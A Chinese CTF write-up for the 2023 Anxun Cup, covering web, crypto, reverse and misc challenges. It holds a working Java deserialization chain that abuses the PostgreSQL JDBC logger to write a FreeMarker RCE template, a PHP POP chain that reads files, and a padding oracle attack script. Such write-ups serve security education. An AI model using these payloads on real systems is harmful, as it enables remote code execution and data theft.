2023安洵杯 WriteUp By Mini-Venom

WriteUp 4个月前 admin
547 0 0
2023安洵杯 WriteUp By Mini-Venom

招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱

[email protected](带上简历和想加入的小组

Web

what’s my name

参考 https://blog.csdn.net/solitudi/article/details/107744427
代码注入
里面有个admin.php 然后那个莫名其妙多一个字符
用00填充

2023安洵杯 WriteUp By Mini-Venom

执行32次

2023安洵杯 WriteUp By Mini-Venom

ezjava

看样子是写模板了,题目设置的防火墙就挺新颖的。。那么多条命令就为了让题目不出网。
就一个/read反序列化路由,但是设了黑名单:

static {
    BLACKLIST.add("com.sun.jndi");
    BLACKLIST.add("com.fasterxml.jackson");
    BLACKLIST.add("org.springframework");
    BLACKLIST.add("com.sun.rowset.JdbcRowSetImpl");
    BLACKLIST.add("java.security.SignedObject");
    BLACKLIST.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
    BLACKLIST.add("java.lang.Runtime");
    BLACKLIST.add("java.lang.ProcessBuilder");
    BLACKLIST.add("java.util.PriorityQueue");
}

有个PGSQL依赖,版本42.3.1比较低。
https://forum.butian.net/share/1339
看博客发现有两种利用,既然题目有freemarker并且不出网肯定是打任意文件写覆盖模板RCE了。
题目给提示org.postgresql.ds.common#BaseDataSource,非常明显看到了sink点。DriverManager.getConnection,user和password是无关紧要的。主要看一下getUrl。

public Connection getConnection(@Nullable String user, @Nullable String password)
    throws SQLException {
  try {
    Connection con = DriverManager.getConnection(getUrl(), user, password);
    if (LOGGER.isLoggable(Level.FINE)) {
      LOGGER.log(Level.FINE, "Created a {0} for {1} at {2}",
          new Object[] {getDescription(), user, getUrl()});
    }
    return con;
  } catch (SQLException e) {
    LOGGER.log(Level.FINE, "Failed to create a {0} for {1} at {2}: {3}",
        new Object[] {getDescription(), user, getUrl(), e});
    throw e;
  }
}

这里取的是serverName,用后面的databaseName还有query不太好操作。所以直接通过setter 方法给serverName赋值。

2023安洵杯 WriteUp By Mini-Venom

BaseDataSource是个抽象类,找个子类实例化。

        PGConnectionPoolDataSource pgPoolingDataSource = new PGConnectionPoolDataSource();

pgPoolingDataSource.setServerNames(new String[]{“/?loggerLevel=DEBUG&loggerFile=/app/templates/index.ftl&<#assign ac=springMacroRequestContext.webApplicationContext><#assign fc=ac.getBean(‘freeMarkerConfiguration’)><#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()><#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${“freemarker.template.utility.Execute”?new()(“cat /flag”)}&”});

//        pgPoolingDataSource.getConnection(“a”,”a”);
System.out.println(pgPoolingDataSource.getUrl());
————————————-输出——————————————-
jdbc:postgresql:///?loggerLevel=DEBUG&loggerFile=/app/templates/index.ftl&<#assign ac=springMacroRequestContext.webApplicationContext><#assign fc=ac.getBean(‘freeMarkerConfiguration’)><#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()><#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${“freemarker.template.utility.Execute”?new()(“cat /flag”)}&/

url问题解决接下来就是找gadget。
看样子是要找一个替换PriorityQueue的地方。触发BeanComparator#compare,BeanComparator#compare触发getPooledConnection。
最终找到TreeMap#put方法,key可控。comparator有getter可以赋值。

2023安洵杯 WriteUp By Mini-Venom

使用CC6的前半段触发Object#put即可。

2023安洵杯 WriteUp By Mini-Venom

2023安洵杯 WriteUp By Mini-Venom

调用栈:

getUrl:1239, BaseDataSource (org.postgresql.ds.common)
getConnection:111, BaseDataSource (org.postgresql.ds.common)
getConnection:87, BaseDataSource (org.postgresql.ds.common)
getPooledConnection:58, PGConnectionPoolDataSource (org.postgresql.ds)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeMethod:2116, PropertyUtilsBean (org.apache.commons.beanutils)
getSimpleProperty:1267, PropertyUtilsBean (org.apache.commons.beanutils)
getNestedProperty:808, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:884, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:464, PropertyUtils (org.apache.commons.beanutils)
compare:163, BeanComparator (org.apache.commons.beanutils)
compare:1295, TreeMap (java.util)
put:538, TreeMap (java.util)
get:152, LazyMap (org.apache.commons.collections.map)
getValue:73, TiedMapEntry (org.apache.commons.collections.keyvalue)
toString:131, TiedMapEntry (org.apache.commons.collections.keyvalue)
readObject:86, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1185, ObjectStreamClass (java.io)
readSerialData:2345, ObjectInputStream (java.io)
readOrdinaryObject:2236, ObjectInputStream (java.io)
readObject0:1692, ObjectInputStream (java.io)
readObject:508, ObjectInputStream (java.io)
readObject:466, ObjectInputStream (java.io)
main:58, ezJava (gadget.timu)

虽然报错了但是通过报错信息还是有起始标签就可以被freemarker解析。

freemarker版本比较高,但是macro-helpers开了

spring.freemarker.expose-spring-macro-helpers=true
Spring Beans可用,可以直接禁用沙箱。拿这个写index.ftl访问模板即可。
Java
<#assign ac=springMacroRequestContext.webApplicationContext>
  <#assign fc=ac.getBean('freeMarkerConfiguration')>
    <#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>
      <#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${"freemarker.template.utility.Execute"?new()("id")}

最终exp:

package gadget.timu;

import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.Factory;
import org.apache.commons.collections.functors.ConstantFactory;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.codehaus.jackson.JsonNode;
import org.postgresql.PGProperty;
import org.postgresql.ds.PGConnectionPoolDataSource;
import org.postgresql.ds.PGPoolingDataSource;
import org.postgresql.ds.common.BaseDataSource;
import util.ReflectionUtils;
import util.SerializerUtils;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;
import java.util.TreeMap;
import java.util.concurrent.LinkedBlockingDeque;
import java.util.concurrent.PriorityBlockingQueue;

public class ezJava {
public static void main(String[] args) throws Exception {
String loggerLevel=“DEBUG”;
String loggerFile=“/hack.jsp”;
String shellContent=“<%25test;%25>”;
PGConnectionPoolDataSource pgPoolingDataSource = new PGConnectionPoolDataSource();

pgPoolingDataSource.setServerNames(new String[]{“/?loggerLevel=DEBUG&loggerFile=/app/templates/index.ftl&<#assign ac=springMacroRequestContext.webApplicationContext><#assign fc=ac.getBean(‘freeMarkerConfiguration’)><#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()><#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${“freemarker.template.utility.Execute”?new()(“cat /flag”)}&”});

//        pgPoolingDataSource.getConnection(“a”,”a”);

//
final BeanComparator comparator = new BeanComparator();

//        final LinkedBlockingDeque<Object> queue = new LinkedBlockingDeque<Object>(comparator);
//        queue.add(1);
//        queue.add(1);

//        JsonNodeFactory JsonNodeFactory = new JsonNodeFactory(true);
//        ArrayNode arrayNode  = new ArrayNode(JsonNodeFactory);

ReflectionUtils.setFieldValue(comparator, “property”“pooledConnection”);
//
//        ReflectionUtils.setFieldValue(queue, “queue”, new Object[]{pgPoolingDataSource, pgPoolingDataSource});

TreeMap treeMap = new TreeMap<>(comparator);
ConstantFactory factory = new ConstantFactory(“1”);
Map<Object,Object> lazyMap = LazyMap.decorate(treeMap, factory);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, pgPoolingDataSource);

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
ReflectionUtils.setFieldValue(badAttributeValueExpException,“val”,tiedMapEntry);

// 将factory重新赋值为lazyMap从而触发factory.transform
//        Class clazz= LazyMap.class;
//        serialize(queue);
//        unserialize();
//        SerializerUtils.unserialize(SerializerUtils.serialize(badAttributeValueExpException));
//        Test();
System.out.println(SerializerUtils.serializeBase64(badAttributeValueExpException));
}

public static void Test() {
String loggerLevel=“DEBUG”;
String loggerFile=“../hack.jsp”;
String shellContent=“<%25test;%25>”;

String dbUrl = “jdbc:postgresql:///?loggerLevel=”+loggerLevel+“&loggerFile=”+loggerFile+“&”+shellContent;
System.out.println(dbUrl);
}
}

easy_unserialize

先用 Directorylterator 列目录找到flag文件

<?php
//error_reporting(0);
class Good{
    public $g1;
    private $gg2;

public function __construct($ggg3)
{
$this->gg2 = $ggg3;
}

public function __isset($arg1)
{
if(!preg_match(“/a-zA-Z0-9~-=!^+()/”,$this->gg2))
{
if ($this->gg2)
{
$this->g1->g1=666;
}
}else{
die(“No”);
}
}
}
class Luck{
public $l1;
public $ll2;
private $md5;
public $lll3;
public function __construct($a)
{
$this->md5 = $a;
//        var_dump($this->md5);
}
//public function __construct($a)
//{
//    $this->md5=$a;
//}

public function __toString()
{
//        phpinfo();
$new = $this->l1;
return $new();
}

public function __get($arg1)
{
//        phpinfo();
$this->ll2->ll2(‘b2’);
}

public function __unset($arg1)
{
//        phpinfo();
//        var_dump($this->md5);
if(md5(md5($this->md5)) == 666)
{
if(empty($this->lll3->lll3)){
echo “There is noting”;
}
}
}
}

class To{
public $t1;
public $tt2;
public $arg1;
public function  __call($arg1,$arg2)
{
if(urldecode($this->arg1)===base64_decode($this->arg1))
{
echo $this->t1;
}
}
public function __set($arg1,$arg2)
{
if($this->tt2->tt2)
{
echo “what are you doing?”;
}
}
}
class You{
public $y1;
public function __wakeup()
{
//        phpinfo();
//        var_dump($this->y1->y1);
unset($this->y1->y1);
}
}
class Flag{
//    public $one;
//    public $two;
public function __invoke()
{

//        phpinfo();
//        echo “May be you can get what you want here”;
//        var_dump($this);
array_walk($thisfunction ($one, $two) {

var_dump($one);

var_dump($two);

$three = new $two($one);
foreach($three as $tmp){
echo ($tmp.‘<br>’);
}
});
}
}
$Flag=new Flag();
$Flag->SplFileObject=‘/FfffLlllLaAaaggGgGg’;
$Flag->two=‘aaaaal’;
$Luck1=new Luck(1);
$Luck1->l1=$Flag;
$Luck=new Luck($Luck1);
$You=new You();
$You->y1=$Luck;

var_dump(urlencode(serialize($You)));

//unserialize(‘O:3:”You”:1:{s:2:”y1″;O:4:”Luck”:4:{s:2:”l1″;N;s:3:”ll2″;N;s:9:” Luck md5″;N;s:4:”lll3″;N;}}’);
//unserialize(urldecode(“O%3A3%3A%22You%22%3A1%3A%7Bs%3A2%3A%22y1%22%3BO%3A4%3A%22Luck%22%3A4%3A%7Bs%3A2%3A%22l1%22%3BN%3Bs%3A3%3A%22ll2%22%3BN%3Bs%3A9%3A%22%00Luck%00md5%22%3BO%3A4%3A%22Luck%22%3A4%3A%7Bs%3A2%3A%22l1%22%3BO%3A4%3A%22Flag%22%3A2%3A%7Bs%3A13%3A%22SplFileObject%22%3Bs%3A11%3A%22%2Fetc%2Fpasswd%22%3Bs%3A3%3A%22two%22%3Bs%3A6%3A%22aaaaal%22%3B%7Ds%3A3%3A%22ll2%22%3BN%3Bs%3A9%3A%22%00Luck%00md5%22%3Bi%3A1%3Bs%3A4%3A%22lll3%22%3BN%3B%7Ds%3A4%3A%22lll3%22%3BN%3B%7D%7D”));

Swagger docs

2023安洵杯 WriteUp By Mini-Venom

后边有个python

2023安洵杯 WriteUp By Mini-Venom

#coding=gbk
import json
from flask import Flask, request,  jsonify,send_file,render_template_string
import jwt
import requests
from functools import wraps
from datetime import datetime
import os

app = Flask(__name__)
app.config[‘TEMPLATES_RELOAD’]=True

app.config[‘SECRET_KEY’] = ‘fake_flag’
current_time = datetime.now().strftime(‘%Y-%m-%d %H:%M:%S’)
response0 = {
‘code’: 0,
‘message’‘failed’,
‘result’: None
}
response1={
‘code’: 1,
‘message’‘success’,
‘result’: current_time
}

response2 = {
‘code’: 2,
‘message’‘Invalid request parameters’,
‘result’: None
}

def auth(func):
@wraps(func)
def decorated(*args, **kwargs):
token = request.cookies.get(‘token’)
if not token:
return ‘Invalid token’, 401
try:
payload = jwt.decode(token, app.config[‘SECRET_KEY’], algorithms=[‘HS256’])
if payload[‘username’] == User.username and payload[‘password’] == User.password:
return func(*args, **kwargs)
else:
return ‘Invalid token’, 401
except:
return ‘Something error?’, 500

return decorated

@app.route(‘/’,methods=[‘GET’])
def index():
return send_file(‘api-docs.json’, mimetype=‘application/json;charset=utf-8’)

@app.route(‘/api-base/v0/register’, methods=[‘GET’‘POST’])
def register():
if request.method == ‘POST’:
username = request.json[‘username’]
password = request.json[‘password’]
User.setUser(username,password)
token = jwt.encode({‘username’: username, ‘password’: password}, app.config[‘SECRET_KEY’], algorithm=‘HS256’)
User.setToken(token)
return jsonify(response1)

return jsonify(response2),400

@app.route(‘/api-base/v0/login’, methods=[‘GET’‘POST’])
def login():
if request.method == ‘POST’:
username = request.json[‘username’]
password = request.json[‘password’]
try:
token = User.token
payload = jwt.decode(token, app.config[‘SECRET_KEY’], algorithms=[‘HS256’])
if payload[‘username’] == username and payload[‘password’] == password:
response = jsonify(response1)
response.set_cookie(‘token’, token)
return response
else:
return jsonify(response0), 401
except jwt.ExpiredSignatureError:
return ‘Invalid token’, 401
except jwt.InvalidTokenError:
return ‘Invalid token’, 401

return jsonify(response2), 400

@app.route(‘/api-base/v0/update’, methods=[‘POST’‘GET’])
@auth
def update_password():
try:
if request.method == ‘POST’:
try:
new_password = request.get_json()
if new_password:

update(new_password, User)

updated_token = jwt.encode({‘username’: User.username, ‘password’: User.password},
app.config[‘SECRET_KEY’], algorithm=‘HS256’)
User.token = updated_token
response = jsonify(response1)
response.set_cookie(‘token’,updated_token)
return response
else:
return jsonify(response0), 401
except:
return “Something error?”,505
else:
return jsonify(response2), 400

except jwt.ExpiredSignatureError:
return ‘Invalid token’, 401
except jwt.InvalidTokenError:
return ‘Invalid token’, 401

def update(src, dst):
if hasattr(dst, ‘__getitem__’):
for key in src:
if isinstance(src[key], dict):
if key in dst and isinstance(src[key], dict):
update(src[key], dst[key])
else:
dst[key] = src[key]
else:
dst[key] = src[key]
else:
for key, value in src.items() :
if hasattr(dst,key) and isinstance(value, dict):
update(value,getattr(dst, key))
else:
setattr(dst, key, value)

@app.route(‘/api-base/v0/logout’)
def logout():
response = jsonify({‘message’‘Logout successful!’})
response.delete_cookie(‘token’)
return response

@app.route(‘/api-base/v0/search’, methods=[‘POST’,‘GET’])
@auth
def api():
if request.args.get(‘file’):
try:
if request.args.get(‘id’):
id = request.args.get(‘id’)
else:
id = 
data = requests.get(“http://127.0.0.1:8899/v2/users?file=” + request.args.get(‘file’) + ‘&id=’ + id)
if data.status_code != 200:
return data.status_code

if request.args.get(‘type’) == “text”:

return render_template_string(data.text)
else:
return jsonify(json.loads(data.text))
except jwt.ExpiredSignatureError:
return ‘Invalid token’, 401
except jwt.InvalidTokenError:
return ‘Invalid token’, 401
except Exception:
return ‘something error?’
else:
return jsonify(response2)

class MemUser:
def setUser(self, username, password):
self.username = username
self.password = password

def setToken(self, token):
self.token = token

def __init__(self):
self.username=“admin”
self.password=“password”
self.token=jwt.encode({‘username’: self.username, ‘password’: self.password}, app.config[‘SECRET_KEY’], algorithm=‘HS256’)

if __name__ == ‘__main__’:
User = MemUser()
app.run(host=‘0.0.0.0’)

aiijava

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.ctf;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.example.ctf.database.message.Message;
import com.example.ctf.database.message.MessageDao;
import com.example.ctf.database.user.User;
import com.example.ctf.database.user.UserDao;
import com.example.ctf.database.user.UserService;
import java.security.Principal;
import java.util.List;
import javax.servlet.http.HttpServletRequest;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.security.core.context.SecurityContextHolder;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.view.RedirectView;

@Controller
public class WebController {
@Autowired
private UserDao userDao;
@Autowired
private UserService userService;
@Autowired
private MessageDao messageDao;

public WebController() {
}

@RequestMapping({“/register”})
public ResponseEntity<String> register(HttpServletRequest request) {
try {
User u1 = new User();
Message message = new Message();
u1.setUsername(request.getParameter(“username”));
u1.setPassword(request.getParameter(“password”));
u1.setAge(Integer.parseInt(request.getParameter(“age”)));
u1.setAccountNonExpired(true);
u1.setAccountNonLocked(true);
u1.setCredentialsNonExpired(true);
u1.setEnabled(true);
u1.setRole(“ROLE_user”);
this.userDao.save(u1);
message.setUsername(request.getParameter(“username”));
this.messageDao.save(message);
System.out.println(“register” + request.getParameter(“username”));
String data = “Success!”;
return new ResponseEntity(data, HttpStatus.OK);
} catch (Exception var5) {
return new ResponseEntity(“用户已存在”, HttpStatus.INTERNAL_SERVER_ERROR);
}
}

@RequestMapping({“/user_page”})
public ModelAndView user(Principal principal) {
ModelAndView modelAndView = new ModelAndView();
System.out.println(this.hasAdminRole());
if (this.hasAdminRole()) {
RedirectView redirectView = new RedirectView(“/admin/” + principal.getName(), true);
return new ModelAndView(redirectView);
else {
modelAndView.addObject(“username”, principal.getName());
modelAndView.addObject(“age”, this.userDao.findUserByUsername(principal.getName()).getAge());
String messages = “”;
if (this.messageDao.findMessageByUsername(principal.getName()) != null) {
messages = this.messageDao.findMessageByUsername(principal.getName()).getMessage();
}

modelAndView.addObject(“messages”, messages);
modelAndView.setViewName(“user”);
return modelAndView;
}
}

@RequestMapping({“/admin/{name}”})
public ModelAndView admin(@PathVariable String name) {
ModelAndView modelAndView = new ModelAndView();
if (name.equals(“”)) {
name = “test”;
}

modelAndView.addObject(“username”, name);
List<Message> messsagelist = this.messageDao.findAll();
List<User> users = this.userService.Usersby(“username”);
modelAndView.addObject(“userList”, users);
modelAndView.addObject(“messsagelist”, messsagelist);
modelAndView.setViewName(“admin”);
return modelAndView;
}

@RequestMapping({“/post_message/{name}”})
@ResponseBody
public ResponseEntity<String> customResponse(@RequestBody String message, @PathVariable String name) {
System.out.println(message);
JSONObject jsonObject = JSON.parseObject(message);
System.out.println(jsonObject.getString(“username”));
System.out.println(jsonObject.getString(“message”));
this.messageDao.updateMessagesByUsername(name, jsonObject.getString(“message”));
String data = “Success!”;
return new ResponseEntity(data, HttpStatus.OK);
}

public boolean hasAdminRole() {
return SecurityContextHolder.getContext().getAuthentication().getAuthorities().stream().anyMatch((grantedAuthority) -> {
return grantedAuthority.getAuthority().equals(“ROLE_admin”);
});
}
}

Crypto:

010101

爆破两次1024bit,对应前1024位和后1024位,分解n

import hashlib
import string
from itertools import product

table = string.ascii_letters + string.digits
str = b’SHA256(XXXX + bgqHWw2zQlwLNSwc):e54842f443d7930fa1d081cd57d222810c192dd8006821658e15b6a05b1ad489′
GeShi = b’Give Me XXXX:’  # 改格式!
proof = str.decode().split(‘SHA256’)[-1]
print(proof)
Xnum = proof.split(‘+’)[0].upper().count(“X”)
tail = proof.split(‘+’)[1].split(‘)’)[0].strip()
_hash = proof.split(‘:’)[-1].strip()
if ‘n’ in _hash:
_hash = _hash.split(‘n’)[0]
print(“未知数:”, Xnum)
print(tail)
print(_hash)
print(‘开始爆破!’)
for i in product(table, repeat=Xnum):
head = .join(i)
# print(head)
t = hashlib.sha256((head + tail).encode()).hexdigest()
if t == _hash:
print(‘爆破成功!结果是:’, end=)
print(head)
break

爆破成功后返回 n,p,c
这里的p注意

        p1 = list(p[:1024])
        p2 = list(p[1024:])
        p1[random.choice([i for i, c in enumerate(p1) if c == '1'])] = '0'
        p2[random.choice([i for i, c in enumerate(p1) if c == '0'])] = '1'

前1024bit 有 1 的位置 置换 为 0
前1024bit 有 0 的位置,后1024bit 相同的位置 置换成 1
注意 后1024bit 被置换的位置 可能原先依然为 1 ,这个时候步骤2 不会对p产生变化
解题思路就是最简单的爆破

from Crypto.Util.number import *
from gmpy2 import gcd
from tqdm import tqdm
n = xx
p = 0bxx
c = xx
p = bin(p)[2:]
for i in tqdm(range(1024)):
    for j in range(10242048):
        if p[j] == '1' and p[i] == '0' and p[j-1024] == '0':
            q = int(p, 2) + pow(2, len(p)-i-1)
            q0 = q - pow(2, len(p)-j-1)
            if gcd(n, q) == q:
                d = inverse(e, q-1)
            elif gcd(q0,n) == q0:
                d = inverse(e, q0-1)
                q = q0
            else :
                continue
            flag = long_to_bytes(int(pow(c, d, q)))
            if b'D0g3{' in flag:
                print(flag)
                break

D0g3{sYuWzkFk12A1gcWxG9pymFcjJL7CqN4Cq8PAIACObJ}

POA

Pading Oracle攻击,构造iv改变最后一位爆破

import hashlib
import string
from itertools import product

table = string.ascii_letters + string.digits
str = b’SHA256(XXXX + bgqHWw2zQlwLNSwc):e54842f443d7930fa1d081cd57d222810c192dd8006821658e15b6a05b1ad489′
GeShi = b’Give Me XXXX:’  # 改格式!
proof = str.decode().split(‘SHA256’)[-1]
print(proof)
Xnum = proof.split(‘+’)[0].upper().count(“X”)
tail = proof.split(‘+’)[1].split(‘)’)[0].strip()
_hash = proof.split(‘:’)[-1].strip()
if ‘n’ in _hash:
_hash = _hash.split(‘n’)[0]
print(“未知数:”, Xnum)
print(tail)
print(_hash)
print(‘开始爆破!’)
for i in product(table, repeat=Xnum):
head = .join(i)
# print(head)
t = hashlib.sha256((head + tail).encode()).hexdigest()
if t == _hash:
print(‘爆破成功!结果是:’, end=)
print(head)
break

爆破过proof:

sh.recvuntil(b'Welcome to AES System, please choose the following options:n1. encrypt the flagn2. decrypt the flagn')
sh.sendline(b'1')
sh.recvuntil(b'This is your flag: ')
Cipher = sh.recvuntil(b'n')[:-1]

得到返回的Ciper值,由IV和ciper组成,https://ctf-wiki.mahaloz.re/crypto/blockcipher/mode/padding-oracle-attack/#padding-oracle-attack
Pading oracle attack,可以观察到:

def asserts(pt: bytes):
    num = pt[-1]
    if len(pt) == 16:
        result = pt[::-1]
        count = 0
        for i in result:
            if i == num:
                count += 1
            else:
                break
        if count == num:
            return True
        else:
            return False
    else:
        return False

利用assert的num构造最后一位(IV输入可控)从而控制num即可过asserts,通过交互回显爆破即可:

m_known = b'}'
for i in tqdm(range(6,15)):
    for j in range(32,128):
        i_known = (i<<24) + (i<<16) + (i<<8) + i
        num = len(m_known)
        K = bytes_to_long(m_known[::-1])^bytes_to_long(IV[-4-num:-4])^bytes_to_long(long_to_bytes(i)*num)
        k1 = long_to_bytes(IV[-i] ^ j ^ i)
        k2 = long_to_bytes(bytes_to_long(IV[-4:]) ^ bytes_to_long(b'x04' * 4) ^ i_known)
        iv = IV[:16-i] + k1 + k2
        sh.sendline(b'2')
        sh.recvuntil(b'Please enter ciphertext:n')
        sh.sendline(f'{cipher}'.encode())
        Asser = sh.recvuntil(b'n')[:-1]
        if Asser == b'True':
            m_known += long_to_bytes(j)
            break
    print(m_known[::-1])
# D0g3{0P@d4Ttk}

Rabin

import hashlib
import string
from itertools import product

table = string.ascii_letters + string.digits
str = b’SHA256(XXXX + bgqHWw2zQlwLNSwc):e54842f443d7930fa1d081cd57d222810c192dd8006821658e15b6a05b1ad489′
GeShi = b’Give Me XXXX:’  # 改格式!
proof = str.decode().split(‘SHA256’)[-1]
print(proof)
Xnum = proof.split(‘+’)[0].upper().count(“X”)
tail = proof.split(‘+’)[1].split(‘)’)[0].strip()
_hash = proof.split(‘:’)[-1].strip()
if ‘n’ in _hash:
_hash = _hash.split(‘n’)[0]
print(“未知数:”, Xnum)
print(tail)
print(_hash)
print(‘开始爆破!’)
for i in product(table, repeat=Xnum):
head = .join(i)
# print(head)
t = hashlib.sha256((head + tail).encode()).hexdigest()
if t == _hash:
print(‘爆破成功!结果是:’, end=)
print(head)
break
交互获取数据,时间挺长的。。。
Python
sh.recv()
sh.sendline(head)
sh.recvuntil(b’Press 1 to get ciphertextn’)
sh.sendline(b’1′)
n = sh.recvuntil(b’n’)[:-1]
inv_p = sh.recvuntil(b’n’)[:-1]
inv_q = sh.recvuntil(b’n’)[:-1]
c1 = sh.recvuntil(b’n’)[:-1]
c2 = sh.recvuntil(b’n’)[:-1]
print(n, c1, c2, inv_p, inv_q)

猜测x的值大小,由r的生成公式进行判断(GCD(r,n)是否有解):

while True:
    r = r * x
    if r.bit_length() > 1024 and isPrime(r - 1):
        r = r - 1
        break

当x为2^i时有解,x为2,range负数不合理,x为4,e1过大,所以x为8,通过e1和e2方程:

for i in range(x - (2**2 - 1)):
    a += pow(e1, i)
for j in range(3):
    b += pow(e2, j)

e1为2,e2为5
Hitcon原题思路:https://github.com/pcw109550/write-up/tree/master/2019/HITCON/Lost_Modulus_Again
p = k1+inv_q ;q = k2 + inv_p

2023安洵杯 WriteUp By Mini-Venom

建立一元二次方程,分解p和q的值:

x = var('x')
f = inv_p * x ** 2 + (2 * inv_q * inv_p - 1 - p_q) * x + inv_q * (inv_p * inv_q - 1)
X = f.roots()
k1 = X[1]
p = inv_q + k1
q = p_q//p

rabin思路:求解p,q,r的解(m = c^((p+1)//4) mod p),使用crt求解即可:

m11 = pow(c1,(p+1)//4,p)
m12 = pow(c1,(q+1)//4,q)
m13 = pow(c1,(r+1)//4,r)

M1 = [m11,-m11%p]
M2 = [m12,-m12%q]
M3 = [m13,-m13%r]
for i1,i2,i3 in itertools.product(M1,M2,M3):
m = crt([int(i1),int(i2),int(i3)],[int(p),int(q),int(r)])
print(long_to_bytes(m))

第二个,rsa解密,求d,c^d mod n即可:

phi = (p-1)*(q-1)*(r-1)
d2 = gmpy2.invert(e2,phi)
m = gmpy2.powmod(c2,int(d2),n)
print(long_to_bytes(m))

组合拼接一下:D0g3{82309bce-9db6-5340-a9e4-a67a9ba15345}

Reverse:

mobilego

go+kotlin
position_map = {
    0: 26, 1: 17, 2: 21, 3: 31, 4: 36, 5: 15, 6: 27, 7: 19, 8: 24, 9: 6,
    10: 10, 11: 2, 12: 12, 13: 35, 14: 4, 15: 9, 16: 16, 17: 37, 18: 18, 19: 7,
    20: 20, 21: 0, 22: 23, 23: 22, 24: 13, 25: 14, 26: 25, 27: 30, 28: 11, 29: 3,
    30: 8, 31: 29, 32: 32, 33: 33, 34: 1, 35: 34, 36: 28, 37: 5
}

def correct_decrypt_with_given_map(encrypted_str, position_map):
decrypted_list = [] * len(encrypted_str)

for original_position, encrypted_position in position_map.items():
decrypted_list[original_position] = encrypted_str[encrypted_position]

decrypted_str = .join(decrypted_list)
return decrypted_str

encrypted_str = “49021}5f919038b440139g74b7Dc88330e5d{6”
print(correct_decrypt_with_given_map(encrypted_str, position_map))
D0g3{4c3b5903d11461f94478b7302980e958}

Misc:

misc-dacongのWindows

1:音频是SSTV,解密第39个

2023安洵杯 WriteUp By Mini-Venom

2:windows.dumpfiles出来secret.rar然后snow隐写

2023安洵杯 WriteUp By Mini-Venom

3:我用vol2查看注册表找到密钥:d@@Coong_LiiKEE_F0r3NsIc

然后aes解密flag3.txt
flag3和dacong_like_listen是一样的,八成是出题人忘删了。

2023安洵杯 WriteUp By Mini-Venom

img flag

Nahida

silenteye一把梭

2023安洵杯 WriteUp By Mini-Venom

misc-dacongのsecret

2023安洵杯 WriteUp By Mini-Venom

解密压缩包,获得jpg jpg文件尾部提取之后逆序获得压缩包。
从PNG文件最后一个IDAT块,然后手动修复,添加PNG文件头信息,然后爆破宽高得到key

2023安洵杯 WriteUp By Mini-Venom

然后解密压缩包,

2023安洵杯 WriteUp By Mini-Venom

base64隐写

2023安洵杯 WriteUp By Mini-Venom

jphide

2023安洵杯 WriteUp By Mini-Venom

疯狂的麦克斯

2023安洵杯 WriteUp By Mini-Venom

 

2023安洵杯 WriteUp By Mini-Venom

XLMWMWQOWHSCSYORSAALSEQM 经过维吉尼亚加密,解密密钥是 e ,也就是 THIS IS MKS DO YOU KNOW WHO AM I 但是没啥用

后面这块是rot13偏移22再解密base64

– END –

2023安洵杯 WriteUp By Mini-Venom

原文始发于微信公众号(ChaMd5安全团队):2023安洵杯 WriteUp By Mini-Venom

版权声明:admin 发表于 2023年12月24日 上午9:21。
转载请注明:2023安洵杯 WriteUp By Mini-Venom | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...